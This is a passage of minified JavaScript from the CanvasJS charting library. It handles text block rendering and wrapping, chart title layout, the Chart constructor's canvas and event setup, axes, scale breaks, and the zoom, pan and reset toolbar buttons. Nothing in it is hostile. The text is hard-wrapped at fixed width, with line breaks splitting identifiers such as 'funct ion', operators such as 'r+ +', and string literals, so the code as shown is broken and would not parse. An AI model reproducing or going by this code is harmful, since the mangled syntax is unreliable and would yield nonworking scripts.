0)};ka.prototype.render=function(h){if(0!==this.fontSize){h&&this.ctx.save();var
p=this.ctx.font;this.ctx.textBaseline=this.textBaseline;var
r=0;this._isDirty&&this.measureText(this.ctx);this.ctx.translate(this.x,this.y+r);"
middle"===this.textBaseline&&(r=-
this._lineHeight/2);this.ctx.font=this._getFontString();this.ctx.rotate(Math.PI/180
*this.angle);var u=
0,v=this.topPadding,H=null;this.ctx.roundRect||Ea(this.ctx);
(0<this.borderThickness&&this.borderColor||
this.backgroundColor)&&this.ctx.roundRect(0,r,this.width,this.height,this.cornerRad
ius,this.borderThickness,this.backgroundColor,this.borderColor);this.ctx.fillStyle=
this.fontColor;for(r=0;r<this._wrappedText.lines.length;r+
+)H=this._wrappedText.lines[r],"right"===this.horizontalAlign?u=(this.width-
(this.leftPadding+this.rightPadding))/2-
H.width/2+this.leftPadding:"left"===this.horizontalAlign?u=
this.leftPadding:"center"===this.horizontalAlign&&(u=(this.width-
(this.leftPadding+this.rightPadding))/2-
H.width/2+this.leftPadding),this.ctx.fillText(H.text,u,v),v+=H.height;this.ctx.font
=p;h&&this.ctx.restore()}};ka.prototype.setText=function(h)
{this.text=h;this._isDirty=!
0;this._wrappedText=null};ka.prototype.measureText=function()
{this._lineHeight=Za(this.fontFamily,this.fontSize,this.fontWeight);if(null===this.
maxWidth)throw"Please set maxWidth and height for
TextBlock";this._wrapText(this.ctx);
this._isDirty=!
1;return{width:this.width,height:this.height}};ka.prototype._getLineWithWidth=funct
ion(h,p,r){h=String(h);if(!h)return{text:"",width:0};var u=r=0,v=h.length-
1,H=Infinity;for(this.ctx.font=this._getFontString();u<=v;){var
H=Math.floor((u+v)/2),F=h.substr(0,H+1);r=this.ctx.measureText(F).width;if(r<p)u=H+
1;else if(r>p)v=H-1;else break}r>p&&1<F.length&&(F=F.substr(0,F.length-
1),r=this.ctx.measureText(F).width);p=!0;if(F.length===h.length||"
"===h[F.length])p=!1;p&&(h=F.split(" "),1<h.length&&
h.pop(),F=h.join("
"),r=this.ctx.measureText(F).width);return{text:F,width:r}};ka.prototype._wrapText=
function(){var h=new
String(Ia(String(this.text))),p=[],r=this.ctx.font,u=0,v=0;this.ctx.font=this._getF
ontString();if(0===this.frontSize)v=u=0;else for(;0<h.length;){var
H=this.maxHeight-
(this.topPadding+this.bottomPadding),F=this._getLineWithWidth(h,this.maxWidth-
(this.leftPadding+this.rightPadding),!1);F.height=this._lineHeight;p.push(F);var
z=v,v=Math.max(v,F.width),u=u+F.height,h=Ia(h.slice(F.text.length,
h.length));H&&u>H&&(F=p.pop(),u-
=F.height,v=z)}this._wrappedText={lines:p,width:v,height:u};this.width=v+
(this.leftPadding+this.rightPadding);this.height=u+
(this.topPadding+this.bottomPadding);this.ctx.font=r};ka.prototype._getFontString=f
unction(){var h;h=""+(this.fontStyle?this.fontStyle+" ":"");h+=this.fontWeight?
this.fontWeight+" ":"";h+=this.fontSize?this.fontSize+"px ":"";var
p=this.fontFamily?this.fontFamily+"":"";!r&&p&&(p=p.split(",")[0],"'"!==p[0]&&'"'!
==p[0]&&(p="'"+p+"'"));return h+=p};
qa(Va,V);qa(Aa,V);Aa.prototype.setLayout=function(){if(this.text){var
h=this.dockInsidePlotArea?
this.chart.plotArea:this.chart,p=h.layoutManager.getFreeSpace(),r=p.x1,v=p.y1,E=0,H
=0,F=this.chart._menuButton&&this.chart.exportEnabled&&"top"===this.verticalAlign?
22:0,z,I;"top"===this.verticalAlign||"bottom"===this.verticalAlign?
(null===this.maxWidth&&(this.maxWidth=p.width-4-F*("center"===this.horizontalAlign?
2:1)),H=0.5*p.height-this.margin-
2,E=0):"center"===this.verticalAlign&&("left"===this.horizontalAlign||
"right"===this.horizontalAlign?(null===this.maxWidth&&(this.maxWidth=p.height-
4),H=0.5*p.width-this.margin-
2):"center"===this.horizontalAlign&&(null===this.maxWidth&&(this.maxWidth=p.width-
4),H=0.5*p.height-4));var L;u(this.padding)||"number"!==typeof this.padding?
u(this.padding)||"object"!==typeof this.padding||(L=this.padding.top?
this.padding.top:this.padding.bottom?this.padding.bottom:0,L+=this.padding.bottom?
this.padding.bottom:this.padding.top?
this.padding.top:0,L*=1.25):L=2.5*this.padding;this.wrap||
(H=Math.min(H,Math.max(1.5*this.fontSize,this.fontSize+L)));H=new ka(this.ctx,
{fontSize:this.fontSize,fontFamily:this.fontFamily,fontColor:this.fontColor,fontSty
le:this.fontStyle,fontWeight:this.fontWeight,horizontalAlign:this.horizontalAlign,v
erticalAlign:this.verticalAlign,borderColor:this.borderColor,borderThickness:this.b
orderThickness,backgroundColor:this.backgroundColor,maxWidth:this.maxWidth,maxHeigh
t:H,cornerRadius:this.cornerRadius,text:this.text,padding:this.padding,textBaseline
:"top"});
L=H.measureText();"top"===this.verticalAlign||"bottom"===this.verticalAlign?
("top"===this.verticalAlign?
(v=p.y1+2,I="top"):"bottom"===this.verticalAlign&&(v=p.y2-2-
L.height,I="bottom"),"left"===this.horizontalAlign?
r=p.x1+2:"center"===this.horizontalAlign?r=p.x1+p.width/2-
L.width/2:"right"===this.horizontalAlign&&(r=p.x2-2-L.width-
F),z=this.horizontalAlign,this.width=L.width,this.height=L.height):"center"===this.
verticalAlign&&("left"===this.horizontalAlign?(r=p.x1+2,v=p.y2-2-(this.maxWidth/2-
L.width/
2),E=-
90,I="left",this.width=L.height,this.height=L.width):"right"===this.horizontalAlign
?(r=p.x2-2,v=p.y1+2+(this.maxWidth/2-
L.width/2),E=90,I="right",this.width=L.height,this.height=L.width):"center"===this.
horizontalAlign&&(v=h.y1+(h.height/2-L.height/2),r=h.x1+(h.width/2-
L.width/2),I="center",this.width=L.width,this.height=L.height),z="center");H.x=r;H.
y=v;H.angle=E;H.horizontalAlign=z;this._textBlock=H;h.layoutManager.registerSpace(I
,{width:this.width+("left"===I||"right"===I?this.margin+2:0),
height:this.height+("top"===I||"bottom"===I?
this.margin+2:0)});this.bounds={x1:r,y1:v,x2:r+this.width,y2:v+this.height};this.ct
x.textBaseline="top"}};Aa.prototype.render=function()
{this._textBlock&&this._textBlock.render(!
0)};qa(Ka,V);Ka.prototype.setLayout=Aa.prototype.setLayout;Ka.prototype.render=Aa.p
rototype.render;Wa.prototype.get=function(h,p){var r=null;0<this.pool.length?
(r=this.pool.pop(),Oa(r,h,p)):r=ta(h,p);return r};Wa.prototype.release=function(h)
{this.pool.push(h)};qa(La,V);var Na={addTheme:function(h,
p){ya[h]=p},addColorSet:function(h,p){Ba[h]=p},addCultureInfo:function(h,p)
{Ma[h]=p},formatNumber:function(h,p,r){r=r||"en";if(Ma[r])return
ba(h,p||"#,##0.##",new La(r));throw"Unknown Culture
Name";},formatDate:function(h,p,r){r=r||"en";if(Ma[r])return Ca(h,p||"DD MMM
YYYY",new La(r));throw"Unknown Culture Name";}};"undefined"!==typeof
module&&"undefined"!==typeof module.exports?module.exports=Na:"function"===typeof
define&&define.amd?define([],function(){return
Na}):window.CanvasJS=Na;Na.Chart=function(){function h(a,
d){return a.x-d.x}function p(a,d){d=d||{};this.theme=u(d.theme)||
u(ya[d.theme])?"light1":d.theme;p.base.constructor.call(this,"Chart",null,d,null,nu
ll);var b=this;this._containerId=a;this._objectsInitialized=!
1;this.overlaidCanvasCtx=this.ctx=null;this._indexLabels=[];this._panTimerId=0;this
._lastTouchEventType="";this._lastTouchData=null;this.isAnimating=!
1;this.renderCount=0;this.disableToolTip=this.animatedRender=!1;this.canvasPool=new
Wa;this.allDOMEventHandlers=[];this.panEnabled=!1;this._defaultCursor=
"default";this.plotArea={canvas:null,ctx:null,x1:0,y1:0,x2:0,y2:0,width:0,height:0}
;this._dataInRenderedOrder=[];if(this.container="string"===typeof
this._containerId?document.getElementById(this._containerId):this._containerId)
{this.container.innerHTML="";var c=0,e=0,c=this.options.width?
this.width:0<this.container.clientWidth?
this.container.clientWidth:this.width,e=this.options.height?
this.height:0<this.container.clientHeight?
this.container.clientHeight:this.height;this.width=c;this.height=e;this.x1=
this.y1=0;this.x2=this.width;this.y2=this.height;this._selectedColorSet="undefined"
!==typeof Ba[this.colorSet]?
Ba[this.colorSet]:Ba.colorSet1;this._canvasJSContainer=document.createElement("div"
);this._canvasJSContainer.setAttribute("class","canvasjs-chart-
container");this._canvasJSContainer.style.position="relative";this._canvasJSContain
er.style.textAlign="left";this._canvasJSContainer.style.cursor="auto";r||
(this._canvasJSContainer.style.height="0px");this.container.appendChild(this._canva
sJSContainer);
this.canvas=ta(c,e);this._preRenderCanvas=ta(c,e);this.canvas.style.position="absol
ute";this.canvas.style.WebkitUserSelect="none";this.canvas.style.MozUserSelect="non
e";this.canvas.style.msUserSelect="none";this.canvas.style.userSelect="none";this.c
anvas.getContext&&(this._canvasJSContainer.appendChild(this.canvas),this.ctx=this.c
anvas.getContext("2d"),this.ctx.textBaseline="top",Ea(this.ctx),this._preRenderCtx=
this._preRenderCanvas.getContext("2d"),this._preRenderCtx.textBaseline="top",Ea(thi
s._preRenderCtx),
r?this.plotArea.ctx=this.ctx:
(this.plotArea.canvas=ta(c,e),this.plotArea.canvas.style.position="absolute",this.p
lotArea.canvas.setAttribute("class","plotAreaCanvas"),this._canvasJSContainer.appen
dChild(this.plotArea.canvas),this.plotArea.ctx=this.plotArea.canvas.getContext("2d"
)),this.overlaidCanvas=ta(c,e),this.overlaidCanvas.style.position="absolute",this.o
verlaidCanvas.style.webkitTapHighlightColor="transparent",this.overlaidCanvas.style
.WebkitUserSelect="none",this.overlaidCanvas.style.MozUserSelect=
"none",this.overlaidCanvas.style.msUserSelect="none",this.overlaidCanvas.style.user
Select="none",this.overlaidCanvas.getContext&&(this._canvasJSContainer.appendChild(
this.overlaidCanvas),this.overlaidCanvasCtx=this.overlaidCanvas.getContext("2d"),th
is.overlaidCanvasCtx.textBaseline="top",Ea(this.overlaidCanvasCtx)),this._eventMana
ger=new ha(this),this.windowResizeHandler=O(window,"resize",function()
{b._updateSize()&&b.render()},this.allDOMEventHandlers),this._toolBar=document.crea
teElement("div"),
this._toolBar.setAttribute("class","canvasjs-chart-
toolbar"),this._toolBar.style.cssText="position: absolute; right: 1px; top:
1px;",this._canvasJSContainer.appendChild(this._toolBar),this.bounds={x1:0,y1:0,x2:
this.width,y2:this.height},O(this.overlaidCanvas,"click",function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,"mousemov
e",function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,"mouseup"
,function(a){b._mouseEventHandler(a)},this.allDOMEventHandlers),
O(this.overlaidCanvas,"mousedown",function(a)
{b._mouseEventHandler(a);va(b._dropdownMenu)},this.allDOMEventHandlers),O(this.over
laidCanvas,"mouseout",function(a)
{b._mouseEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,window.na
vigator.msPointerEnabled?"MSPointerDown":"touchstart",function(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,window.na
vigator.msPointerEnabled?"MSPointerMove":"touchmove",function(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),
O(this.overlaidCanvas,window.navigator.msPointerEnabled?"MSPointerUp":"touchend",fu
nction(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),O(this.overlaidCanvas,window.na
vigator.msPointerEnabled?"MSPointerCancel":"touchcancel",function(a)
{b._touchEventHandler(a)},this.allDOMEventHandlers),this.toolTip=new $
(this,this.options.toolTip),this.data=null,this.axisX=[],this.axisX2=[],this.axisY=
[],this.axisY2=[],this.sessionVariables={axisX:[],axisX2:[],axisY:[],axisY2:
[]})}else window.console&&window.console.log('CanvasJS Error: Chart Container with
id "'+
this._containerId+'" was not found')}function v(a,d){for(var
b=[],c,e=0;e<a.length;e++)if(0==e)b.push(a[0]);else{var g,k,l;l=e-1;g=0===l?0:l-
1;k=l===a.length-1?l:l+1;c=Math.abs((a[k].x-a[g].x)/(0===a[k].x-a[l].x?0.01:a[k].x-
a[l].x))*(d-1)/2+1;var w=(a[k].x-a[g].x)/c;c=(a[k].y-
a[g].y)/c;b[b.length]=a[l].x>a[g].x&&0<w||a[l].x<a[g].x&&0>w?
{x:a[l].x+w/3,y:a[l].y+c/3}:{x:a[l].x,y:a[l].y+c/9};l=e;g=0===l?0:l-
1;k=l===a.length-1?l:l+1;c=Math.abs((a[k].x-a[g].x)/(0===a[l].x-a[g].x?0.01:a[l].x-
a[g].x))*(d-
1)/2+1;w=(a[k].x-a[g].x)/c;c=(a[k].y-a[g].y)/c;b[b.length]=a[l].x>a[g].x&&0<w||
a[l].x<a[g].x&&0>w?{x:a[l].x-w/3,y:a[l].y-c/3}:{x:a[l].x,y:a[l].y-
c/9};b[b.length]=a[e]}return b}function E(a,d,b,c,e,g,k,l,w,m){var s=0;m?
(k.color=g,l.color=g):m=1;s=w?Math.abs(e-b):Math.abs(c-d);s=0<k.trimLength?
Math.abs(s*k.trimLength/100):Math.abs(s-k.length);w?(b+=s/2,e-=s/2):(d+=s/2,c-
=s/2);var s=1===Math.round(k.thickness)%2?0.5:0,q=1===Math.round(l.thickness)%2?
0.5:0;a.save();a.globalAlpha=m;a.strokeStyle=l.color||
g;a.lineWidth=l.thickness||
2;a.setLineDash&&a.setLineDash(R(l.dashType,l.thickness));a.beginPath();w&&0<l.thic
kness?(a.moveTo(c-k.thickness/2,Math.round((b+e)/2)-
q),a.lineTo(d+k.thickness/2,Math.round((b+e)/2)-
q)):0<l.thickness&&(a.moveTo(Math.round((d+c)/2)-
q,b+k.thickness/2),a.lineTo(Math.round((d+c)/2)-q,e-
k.thickness/2));a.stroke();a.strokeStyle=k.color||g;a.lineWidth=k.thickness||
2;a.setLineDash&&a.setLineDash(R(k.dashType,k.thickness));a.beginPath();w&&0<k.thic
kness?(a.moveTo(c-s,b),a.lineTo(c-
s,e),a.moveTo(d+s,b),a.lineTo(d+s,e)):0<k.thickness&&(a.moveTo(d,b+s),a.lineTo(c,b+
s),a.moveTo(d,e-s),a.lineTo(c,e-s));a.stroke();a.restore()}function I(a,d,b,c,e)
{if(null===a||"undefined"===typeof a)return"undefined"===typeof b?
d:b;a=parseFloat(a.toString())*(0<=a.toString().indexOf("%")?d/100:1);"undefined"!
==typeof c&&(a=Math.min(c,a),"undefined"!==typeof e&&(a=Math.max(e,a)));return!
isNaN(a)&&a<=d&&0<=a?a:"undefined"===typeof b?d:b}function H(a,d)
{H.base.constructor.call(this,"Legend","legend",
d,null,a);this.chart=a;this.canvas=a.canvas;this.ctx=this.chart.ctx;this.ghostCtx=t
his.chart._eventManager.ghostCtx;this.items=[];this.optionsName="legend";this.heigh
t=this.width=0;this.orientation=null;this.dataSeries=[];this.bounds={x1:null,y1:nul
l,x2:null,y2:null};"undefined"===typeof
this.options.fontSize&&(this.fontSize=this.chart.getAutoFontSize(this.fontSize));th
is.lineHeight=Za(this.fontFamily,this.fontSize,this.fontWeight);this.horizontalSpac
ing=this.fontSize}function F(a,d,b,c){F.base.constructor.call(this,
"DataSeries","data",d,b,a);this.chart=a;this.canvas=a.canvas;this._ctx=a.canvas.ctx
;this.index=b;this.noDataPointsInPlotArea=0;this.id=c;this.chart._eventManager.obje
ctMap[c]={id:c,objectType:"dataSeries",dataSeriesIndex:b};a=d.dataPoints?
d.dataPoints.length:0;this.dataPointEOs=[];for(d=0;d<a;d+
+)this.dataPointEOs[d]={};this.dataPointIds=[];this.plotUnit=[];this.axisY=this.axi
sX=null;this.optionsName="data";this.isOptionsInArray=!
0;null===this.fillOpacity&&(this.type.match(/area/i)?this.fillOpacity=
0.7:this.fillOpacity=1);this.axisPlacement=this.getDefaultAxisPlacement();"undefine
d"===typeof
this.options.indexLabelFontSize&&(this.indexLabelFontSize=this.chart.getAutoFontSiz
e(this.indexLabelFontSize))}function z(a,d,b,c,e,g)
{z.base.constructor.call(this,"Axis",d,b,c,a);this.chart=a;this.canvas=a.canvas;thi
s.ctx=a.ctx;this.intervalStartPosition=this.maxHeight=this.maxWidth=0;this.labels=[
];this.dataSeries=[];this._stripLineLabels=this._ticks=this._labels=null;this.dataI
nfo={min:Infinity,max:-Infinity,
viewPortMin:Infinity,viewPortMax:-
Infinity,minDiff:Infinity};this.isOptionsInArray=!0;"axisX"===e?
("left"===g||"bottom"===g?
(this.optionsName="axisX",u(this.chart.sessionVariables.axisX[c])&&(this.chart.sess
ionVariables.axisX[c]={}),this.sessionVariables=this.chart.sessionVariables.axisX[c
]):
(this.optionsName="axisX2",u(this.chart.sessionVariables.axisX2[c])&&(this.chart.se
ssionVariables.axisX2[c]={}),this.sessionVariables=this.chart.sessionVariables.axis
X2[c]),this.options.interval||(this.intervalType=
null)):"left"===g||"bottom"===g?
(this.optionsName="axisY",u(this.chart.sessionVariables.axisY[c])&&(this.chart.sess
ionVariables.axisY[c]={}),this.sessionVariables=this.chart.sessionVariables.axisY[c
]):
(this.optionsName="axisY2",u(this.chart.sessionVariables.axisY2[c])&&(this.chart.se
ssionVariables.axisY2[c]={}),this.sessionVariables=this.chart.sessionVariables.axis
Y2[c]);"undefined"===typeof
this.options.titleFontSize&&(this.titleFontSize=this.chart.getAutoFontSize(this.tit
leFontSize));"undefined"===
typeof
this.options.labelFontSize&&(this.labelFontSize=this.chart.getAutoFontSize(this.lab
elFontSize));this.type=e;"axisX"!==e||b&&"undefined"!==typeof b.gridThickness||
(this.gridThickness=0);this._position=g;this.lineCoordinates={x1:null,y1:null,x2:nu
ll,y2:null,width:null};this.labelAngle=(this.labelAngle
%360+360)%360;90<this.labelAngle&&270>this.labelAngle?this.labelAngle-
=180:270<=this.labelAngle&&360>=this.labelAngle&&(this.labelAngle-
=360);this.options.scaleBreaks&&(this.scaleBreaks=new Q(this.chart,
this.options.scaleBreaks,+
+this.chart._eventManager.lastObjectId,this));this.stripLines=[];if(this.options.st
ripLines&&0<this.options.stripLines.length)for(a=0;a<this.options.stripLines.length
;a++)this.stripLines.push(new X(this.chart,this.options.stripLines[a],a,+
+this.chart._eventManager.lastObjectId,this));this.options.crosshair&&(this.crossha
ir=new
fa(this.chart,this.options.crosshair,this));this._titleTextBlock=null;this.hasOptio
nChanged("viewportMinimum")&&null===this.viewportMinimum&&(this.options.viewportMin
imum=
void
0,this.sessionVariables.viewportMinimum=null);this.hasOptionChanged("viewportMinimu
m")||isNaN(this.sessionVariables.newViewportMinimum)||
null===this.sessionVariables.newViewportMinimum?
this.sessionVariables.newViewportMinimum=null:this.viewportMinimum=this.sessionVari
ables.newViewportMinimum;this.hasOptionChanged("viewportMaximum")&&null===this.view
portMaximum&&(this.options.viewportMaximum=void
0,this.sessionVariables.viewportMaximum=null);this.hasOptionChanged("viewportMaximu
m")||isNaN(this.sessionVariables.newViewportMaximum)||
null===this.sessionVariables.newViewportMaximum?
this.sessionVariables.newViewportMaximum=null:this.viewportMaximum=this.sessionVari
ables.newViewportMaximum;null!==this.minimum&&null!
==this.viewportMinimum&&(this.viewportMinimum=Math.max(this.viewportMinimum,this.mi
nimum));null!==this.maximum&&null!
==this.viewportMaximum&&(this.viewportMaximum=Math.min(this.viewportMaximum,this.ma
ximum));this.trackChanges("viewportMinimum");this.trackChanges("viewportMaximum")}f
unction Q(a,d,b,c){Q.base.constructor.call(this,
"ScaleBreaks","scaleBreaks",d,null,c);this.id=b;this.chart=a;this.ctx=this.chart.ct
x;this.axis=c;this.optionsName="scaleBreaks";this.isOptionsInArray=!
1;this._appliedBreaks=[];this.customBreaks=[];this.autoBreaks=[];"string"===typeof
this.spacing?
(this.spacing=parseFloat(this.spacing),this.spacing=isNaN(this.spacing)?8:
(10<this.spacing?10:this.spacing)+"%"):"number"!==typeof
this.spacing&&(this.spacing=8);this.autoCalculate&&(this.maxNumberOfAutoBreaks=Math
.min(this.maxNumberOfAutoBreaks,5));if(this.options.customBreaks&&
0<this.options.customBreaks.length){for(a=0;a<this.options.customBreaks.length;a+
+)this.customBreaks.push(new
L(this.chart,"customBreaks",this.options.customBreaks[a],a,+
+this.chart._eventManager.lastObjectId,this)),"number"===typeof
this.customBreaks[a].startValue&&("number"===typeof
this.customBreaks[a].endValue&&this.customBreaks[a].endValue!
==this.customBreaks[a].startValue)&&this._appliedBreaks.push(this.customBreaks[a]);
this._appliedBreaks.sort(function(a,c){return a.startValue-c.startValue});
for(a=0;a<this._appliedBreaks.length-1;a+
+)this._appliedBreaks[a].endValue>=this._appliedBreaks[a+1].startValue&&(this._appl
iedBreaks[a].endValue=Math.max(this._appliedBreaks[a].endValue,this._appliedBreaks[
a+1].endValue),window.console&&window.console.log("CanvasJS Error: Breaks "+a+" and
"+(a+1)+" are overlapping."),this._appliedBreaks.splice(a,2),a--)}}function
L(a,d,b,c,e,g)
{L.base.constructor.call(this,"Break",d,b,c,g);this.id=e;this.chart=a;this.ctx=this
.chart.ctx;this.scaleBreaks=g;this.optionsName=
d;this.isOptionsInArray=!0;this.type=b.type?
this.type:g.type;this.fillOpacity=u(b.fillOpacity)?
g.fillOpacity:this.fillOpacity;this.lineThickness=u(b.lineThickness)?
g.lineThickness:this.lineThickness;this.color=b.color?
this.color:g.color;this.lineColor=b.lineColor?
this.lineColor:g.lineColor;this.lineDashType=b.lineDashType?
this.lineDashType:g.lineDashType;!
u(this.startValue)&&this.startValue.getTime&&(this.startValue=this.startValue.getTi
me());!u(this.endValue)&&this.endValue.getTime&&(this.endValue=
this.endValue.getTime());"number"===typeof this.startValue&&("number"===typeof
this.endValue&&this.endValue<this.startValue)&&(a=this.startValue,this.startValue=t
his.endValue,this.endValue=a);this.spacing="undefined"===typeof b.spacing?
g.spacing:b.spacing;"string"===typeof this.options.spacing?
(this.spacing=parseFloat(this.spacing),this.spacing=isNaN(this.spacing)?0:
(10<this.spacing?10:this.spacing)+"%"):"number"!==typeof
this.options.spacing&&(this.spacing=g.spacing);this.size=g.parent.logarithmic?
1:0}function X(a,d,b,c,e)
{X.base.constructor.call(this,"StripLine","stripLines",d,b,e);this.id=c;this.chart=
a;this.ctx=this.chart.ctx;this.label=this.label;this.axis=e;this.optionsName="strip
Lines";this.isOptionsInArray=!0;this._thicknessType="pixel";null!
==this.startValue&&null!==this.endValue&&(this.value=e.logarithmic?
Math.sqrt((this.startValue.getTime?
this.startValue.getTime():this.startValue)*(this.endValue.getTime?
this.endValue.getTime():this.endValue)):((this.startValue.getTime?
this.startValue.getTime():
this.startValue)+(this.endValue.getTime?
this.endValue.getTime():this.endValue))/2,this._thicknessType=null)}function
fa(a,d,b)
{fa.base.constructor.call(this,"Crosshair","crosshair",d,null,b);this.chart=a;this.
ctx=this.chart.ctx;this.axis=b;this.optionsName="crosshair";this._thicknessType="pi
xel"}function $(a,d)
{$.base.constructor.call(this,"ToolTip","toolTip",d,null,a);this.chart=a;this.canva
s=a.canvas;this.ctx=this.chart.ctx;this.currentDataPointIndex=this.currentSeriesInd
ex=-1;this._prevY=this._prevX=
NaN;this.containerTransitionDuration=0.1;this.mozContainerTransition=this.getContai
nerTransition(this.containerTransitionDuration);this.optionsName="toolTip";this._in
itialize()}function ha(a)
{this.chart=a;this.lastObjectId=0;this.objectMap=[];this.rectangularRegionEventSubs
criptions=[];this.previousDataPointEventObject=null;this.ghostCanvas=ta(this.chart.
width,this.chart.height);this.ghostCtx=this.ghostCanvas.getContext("2d");this.mouse
overedObjectMaps=[]}function ga(a){this.chart=a;this.ctx=this.chart.plotArea.ctx;
this.animations=[];this.animationRequestId=null}qa(p,V);p.prototype.destroy=functio
n(){var
a=this.allDOMEventHandlers;this._animator&&this._animator.cancelAllAnimations();thi
s._panTimerId&&clearTimeout(this._panTimerId);for(var d=0;d<a.length;d++){var
b=a[d][0],c=a[d][1],e=a[d][2],g=a[d][3],g=g||!1;b.removeEventListener?
b.removeEventListener(c,e,g):b.detachEvent&&b.detachEvent("on"+c,e)}this.allDOMEven
tHandlers=[];for(this.removeAllEventListeners();this._canvasJSContainer&&this._canv
asJSContainer.hasChildNodes();)this._canvasJSContainer.removeChild(this._canvasJSCo
ntainer.lastChild);
for(;this.container&&this.container.hasChildNodes();)this.container.removeChild(thi
s.container.lastChild);for(;this._dropdownMenu&&this._dropdownMenu.hasChildNodes();
)this._dropdownMenu.removeChild(this._dropdownMenu.lastChild);this.overlaidCanvas=t
his.canvas=this.container=this._canvasJSContainer=null;this._toolBar=this._dropdown
Menu=this._menuButton=this._resetButton=this._zoomButton=this._breaksCanvas=this._p
reRenderCanvas=this.toolTip.container=null};p.prototype._updateOptions=function()
{var a=
this;this.updateOption("width");this.updateOption("height");this.updateOption("data
PointWidth");this.updateOption("dataPointMinWidth");this.updateOption("dataPointMax
Width");this.updateOption("interactivityEnabled");this.updateOption("theme");this.u
pdateOption("colorSet")&&(this._selectedColorSet="undefined"!==typeof
Ba[this.colorSet]?
Ba[this.colorSet]:Ba.colorSet1);this.updateOption("backgroundColor");this.backgroun
dColor||
(this.backgroundColor="rgba(0,0,0,0)");this.updateOption("culture");this._cultureIn
fo=
new
La(this.options.culture);this.updateOption("animationEnabled");this.animationEnable
d=this.animationEnabled&&r;this.updateOption("animationDuration");this.updateOption
("rangeChanging");this.updateOption("rangeChanged");this.updateOption("exportEnable
d");this.updateOption("exportFileName");this.updateOption("zoomType");if(this.optio
ns.zoomEnabled){if(!this._zoomButton){var d=!
1;va(this._zoomButton=document.createElement("button"));ua(this,this._zoomButton,"p
an");this._toolBar.appendChild(this._zoomButton);
this._zoomButton.style.borderRight=this.toolbar.borderThickness+"px solid
"+this.toolbar.borderColor;O(this._zoomButton,"touchstart",function(a){d=!
0},this.allDOMEventHandlers);O(this._zoomButton,"click",function(){a.zoomEnabled?
(a.zoomEnabled=!1,a.panEnabled=!0,ua(a,a._zoomButton,"zoom")):(a.zoomEnabled=!
0,a.panEnabled=!
1,ua(a,a._zoomButton,"pan"));a.render()},this.allDOMEventHandlers);O(this._zoomButt
on,"mouseover",function(){d?d=!1:(sa(a,a._zoomButton,
{backgroundColor:a.toolbar.backgroundColorOnHover,
color:a.toolbar.fontColorOnHover,transition:"0.4s",WebkitTransition:"0.4s"}),0>=nav
igator.userAgent.search("MSIE")&&sa(a,a._zoomButton.childNodes[0],
{WebkitFilter:"invert(100%)",filter:"invert(100%)"}))},this.allDOMEventHandlers);O(
this._zoomButton,"mouseout",function(){d||(sa(a,a._zoomButton,
{backgroundColor:a.toolbar.backgroundColor,color:a.toolbar.fontColor,transition:"0.
4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.search("MSIE")&&sa(a,a._zoomBu
tton.childNodes[0],{WebkitFilter:"invert(0%)",
filter:"invert(0%)"}))},this.allDOMEventHandlers)}this._resetButton||(d=!
1,va(this._resetButton=document.createElement("button")),ua(this,this._resetButton,
"reset"),this._resetButton.style.borderRight=(this.exportEnabled?
this.toolbar.borderThickness:0)+"px solid
"+this.toolbar.borderColor,this._toolBar.appendChild(this._resetButton),O(this._res
etButton,"touchstart",function(a){d=!
0},this.allDOMEventHandlers),O(this._resetButton,"click",function()
{a.toolTip.hide();a.zoomEnabled||a.panEnabled?(a.zoomEnabled=
!0,a.panEnabled=!
1,ua(a,a._zoomButton,"pan"),a._defaultCursor="default",a.overlaidCanvas.style.curso
r=a._defaultCursor):(a.zoomEnabled=!1,a.panEnabled=!
1);if(a.sessionVariables.axisX)for(var c=0;c<a.sessionVariables.axisX.length;c+
+)a.sessionVariables.axisX[c].newViewportMinimum=null,a.sessionVariables.axisX[c].n
ewViewportMaximum=null;if(a.sessionVariables.axisX2)for(c=0;c<a.sessionVariables.ax
isX2.length;c+
+)a.sessionVariables.axisX2[c].newViewportMinimum=null,a.sessionVariables.axisX2[c]
.newViewportMaximum=
null;if(a.sessionVariables.axisY)for(c=0;c<a.sessionVariables.axisY.length;c+
+)a.sessionVariables.axisY[c].newViewportMinimum=null,a.sessionVariables.axisY[c].n
ewViewportMaximum=null;if(a.sessionVariables.axisY2)for(c=0;c<a.sessionVariables.ax
isY2.length;c+
+)a.sessionVariables.axisY2[c].newViewportMinimum=null,a.sessionVariables.axisY2[c]
.newViewportMaximum=null;a.resetOverlayedCanvas();va(a._zoomButton,a._resetButton);
a._dispatchRangeEvent("rangeChanging","reset");a.render();a._dispatchRangeEvent("ra
ngeChanged",
"reset");a.syncCharts&&a.syncCharts(null,null)},this.allDOMEventHandlers),O(this._r
esetButton,"mouseover",function(){d||(sa(a,a._resetButton,
{backgroundColor:a.toolbar.backgroundColorOnHover,color:a.toolbar.hoverFfontColorOn
HoverontColor,transition:"0.4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.se
arch("MSIE")&&sa(a,a._resetButton.childNodes[0],
{WebkitFilter:"invert(100%)",filter:"invert(100%)"}))},this.allDOMEventHandlers),O(
this._resetButton,"mouseout",function(){d||(sa(a,a._resetButton,
{backgroundColor:a.toolbar.backgroundColor,color:a.toolbar.fontColor,transition:"0.
4s",WebkitTransition:"0.4s"}),0>=navigator.userAgent.search("MSIE")&&sa(a,a._resetB
utton.childNodes[0],
{WebkitFilter:"invert(0%)",filter:"invert(0%)"}))},this.allDOMEventHandlers),this.o
verlaidCanvas.style.cursor=a._defaultCursor);this.zoomEnabled||this.panEnabled||
(this._zoomButton?(a._zoomButton.getAttribute("state")===a._cultureInfo.zoomText?
(this.panEnabled=!0,this.zoomEnabled=!1):(this.zoomEnabled=!0,this.panEnabled=
!1),Qa(a._zoomButton,a._resetButton)):(this.zoomEnabled=!0,this.panEnabled=!
1))}else this.panEnabled=this.zoomEnabled=!1;this._menuButton?this.exportEnabled?
Qa(this._menuButton):va(this._menuButton):this.exportEnabled&&r&&(d=!
1,this._menuButton=document.createElement("button"),ua(this,this._menuButton,"menu"
),this._toolBar.appendChild(this._menuButton),O(this._menuButton,"touchstart",funct
ion(a){d=!0},this.allDOMEventHandlers),O(this._menuButton,"click",function()
